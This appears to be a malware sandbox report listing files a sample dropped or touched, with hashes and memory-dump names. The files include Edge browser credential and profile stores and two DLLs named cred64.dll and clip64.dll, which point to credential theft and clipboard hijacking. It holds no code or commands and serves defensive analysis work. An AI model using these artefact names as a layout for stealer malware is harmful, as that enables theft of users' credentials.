MD5 bae29e49e8190bfbbf0d77ffab8de59d
SHA1 4a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256 f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA512 9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

memory/5472-309-0x0000000007640000-0x0000000007650000-memory.dmp

memory/5240-310-0x0000000000400000-0x0000000000431000-memory.dmp

memory/5240-311-0x0000000072B80000-0x0000000073330000-memory.dmp

memory/4200-316-0x0000000004440000-0x0000000004843000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 8b10258511dbb5ae3f63cb9eedf6498e
SHA1 d316226c90b787a38b083fdaed8eeb58c1e96da0
SHA256 ba922d79e437f559764cbbcf5dbd7cf3bd38166557fa77758c81f76a1222b3f3
SHA512 c60ccaa20daaedf74b5902defa9beb4dbd1ea0a10600156fb5bd96ef3b8ca22f7f0c6f536cacf4e32dfe54674b7137e810341c2cb38f785eb4b1edcb6db3a6ac

memory/1092-337-0x0000000072B80000-0x0000000073330000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 126750911c88638ce419affcf9e03657
SHA1 dbe7d896dfbeed02dbf12f88d93ca1bbdeed9f12
SHA256 9620d9b70f394f0ad264e8b8235054b33292f00ae21564ab53e700eb5be59017
SHA512 61462e0ee3d388bb5735d6ffb5616ef0175da94217c435b9583336f4702e15a67dba1d1674d5e9de18a738a040c485009cf3b7d7463c4f90ddf0c40b877147f7

memory/4200-347-0x0000000000400000-0x000000000266D000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 82eb8a9edb112ae476d493e80deecfe5
SHA1 0d5d3f5229cd33de3604c5a0040839082a6269fc
SHA256 d7a300cce85e49c98a78edcdbd641706fe2db4e8e74f3b969cb20b947131818b
SHA512 059d3b5e8c72436a13c7a11fdc61760f8235d3018b737182a6b1c81456068ce7c825f6901e3f2bdad2abcbc9bf9f395d81fcbc919b2922ffa010d74bb245900f

memory/5524-367-0x0000000072B80000-0x0000000073330000-memory.dmp

memory/5524-368-0x00000000057F0000-0x0000000005800000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

MD5 15ad31a14e9a92d2937174141e80c28d
SHA1 b09e8d44c07123754008ba2f9ff4b8d4e332d4e5
SHA256 bf983e704839ef295b4c957f1adeee146aaf58f2dbf5b1e2d4b709cec65eccde
SHA512 ec744a79ccbfca52357d4f0212e7afd26bc93efd566dd5d861bf0671069ba5cb7e84069e0ea091c73dee57e9de9bb412fb68852281ae9bd84c11a871f5362296

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3y14qpj1.slm.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4200-427-0x0000000000400000-0x000000000266D000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 53c8248511fb8bf787801c0e34c1aa65
SHA1 36f264686ce2a1c05bc43b5811da2633d8e5d7b1
SHA256 604fff96e17b860c5b9f61df7631d710d804f020d263ba64edfe2be77c9e30d5
SHA512 277705e7c9dbe618b77a310c92e19be09b083835bccadcafea0e54232f94fa308af1092ff1e53a9592c297fd42a5cbbaa60ffdc5d228a4b5c7cf303267d8f399

memory/5568-461-0x00007FF70D010000-0x00007FF70D5B1000-memory.dmp

memory/5524-491-0x0000000005C00000-0x0000000005C15000-memory.dmp

memory/5524-492-0x0000000005C00000-0x0000000005C15000-memory.dmp

memory/5524-494-0x0000000005C00000-0x0000000005C15000-memory.dmp

memory/5524-498-0x0000000005C00000-0x0000000005C15000-memory.dmp

memory/5524-496-0x0000000005C00000-0x0000000005C15000-memory.dmp

memory/5524-500-0x0000000005C00000-0x0000000005C15000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpD999.tmp

MD5 02d2c46697e3714e49f46b680b9a6b83
SHA1 84f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256 522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA512 60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

C:\Users\Admin\AppData\Local\Temp\tmpD9CE.tmp

MD5 02f8652ecec423d1ebd72ff3863579fe
SHA1 d9772bd7f3978dc302b44216d2e3a2d62e0b0544
SHA256 37c53e07bac027475dbc6122b2e105a431effa21c8e554f5c44e8652c8fa84b9
SHA512 c319907b9f0e8606e783a7f782c0d4241c3aedf5b783961c77f72feee94709c080569979ac5c005bc35aba65e9a4f1e37d658f4baac44b114b4c5234900c47a9

C:\Users\Admin\AppData\Local\Temp\tmpDBD4.tmp

MD5 49693267e0adbcd119f9f5e02adf3a80
SHA1 3ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256 d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512 b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

C:\Users\Admin\AppData\Local\Temp\tmpDBCE.tmp

MD5 349e6eb110e34a08924d92f6b334801d
SHA1 bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256 c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA512 2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

C:\Users\Admin\AppData\Local\Temp\tmpDBDA.tmp

MD5 f70aa3fa04f0536280f872ad17973c3d
SHA1 50a7b889329a92de1b272d0ecf5fce87395d3123
SHA256 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA512 30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

C:\Users\Admin\AppData\Local\Temp\tmpDFDE.tmp

MD5 d367ddfda80fdcf578726bc3b0bc3e3c
SHA1 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA512 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58e55a.TMP

MD5 910af2570d92330d50d2329b1880c760
SHA1 8651645c1a014a7ff92ab32f4e1c85746ef1757b
SHA256 d3cf6307fa125052d63baabe86bb1acccbe62c5097d8ccf979ea1d0a36a504c2
SHA512 53f1350e687318170891d8a13d69c39ff10d605e95e99d43f7450bb156f2d1747fc1d337897080c454e7dfc8a558c1097d54d98ab87fddd26a1ffd940a409e8b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 87dd221aaa6c0dea3ed67952a4bbdef6
SHA1 1933b0c76565294e4f0f6a556550605116f8db64
SHA256 fa8ee78166488bd6cb41699d8f9242ed0d3584c2b4b980803cd83043bd86865b
SHA512 80948ec9ceaeea91a273dd8e98f7626fbd942b15ee3aeb135f1d31e7b3a492d15d4758f4f98736604159764d6a2d6cb5a229c7dbe94ad9ac44f5d3a0c3f9dd83

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

MD5 a5b509a3fb95cc3c8d89cd39fc2a30fb
SHA1 5aff4266a9c0f2af440f28aa865cebc5ddb9cd5c
SHA256 5f3c80056c7b1104c15d6fee49dac07e665c6ffd0795ad486803641ed619c529
SHA512 3cc58d989c461a04f29acbfe03ed05f970b3b3e97e6819962fc5c853f55bce7f7aba0544a712e3a45ee52ab31943c898f6b3684d755b590e3e961ae5ecd1edb9

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

MD5 e913b0d252d36f7c9b71268df4f634fb
SHA1 5ac70d8793712bcd8ede477071146bbb42d3f018
SHA256 4cf5b584cf79ac523f645807a65bc153fbeaa564c0e1acb4dac9004fc9d038da
SHA512 3ea08f0897c1b7b5859961351eef59840bbf319a6ad7ebe1c9e1b5e2ce25588d7b1a37fd6c5417653521fc73f1f42eb043d0ee6fcd645aa92b8f305d726273b4